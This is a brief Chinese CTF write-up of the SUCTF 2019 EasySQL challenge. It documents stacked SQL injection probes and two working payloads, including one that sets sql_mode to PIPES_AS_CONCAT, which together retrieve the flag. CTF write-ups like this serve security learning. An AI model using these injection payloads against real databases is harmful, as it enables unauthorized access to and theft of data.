[SUCTF 2019]EasySQL1 write up
本题所需知识点:堆叠注入
点开题目,题目只有一个输入框,发现是POST参数提交。
输入任意数字,
输入任意字符串,无反应或如下图
接下来尝试构造闭合,均无反应
'
1'
1' or 1=1#
尝试堆叠注入,成功
1;show databases;
1;show tables;
在进一步的测试中,无效果。
1;select * from Flag;
同时尝试大小写,char字符拼接等方法绕过,无效果。
无耐,看大神的题解。https://blog.csdn.net/qq_43678005/article/details/108101904
原来是要猜测查询的语句。
select $_GET['query'] || flag from flag
另说是比赛时源码泄露了,index.php.swp,但是本环境查看不了。
方法一:
构造payload
*,1
-------------------------
select *,1||flag from flag
<==>select *,1 from flag
方法二:
将“||”变成字符串连接符,而不是或
涉及到mysql中sql_mode参数设置,设置 sql_mode=pipes_as_concat
字符就可以设置。
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。
但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能。
构造payload
1;set sql_mode=PIPES_AS_CONCAT;select 1
最后获得flag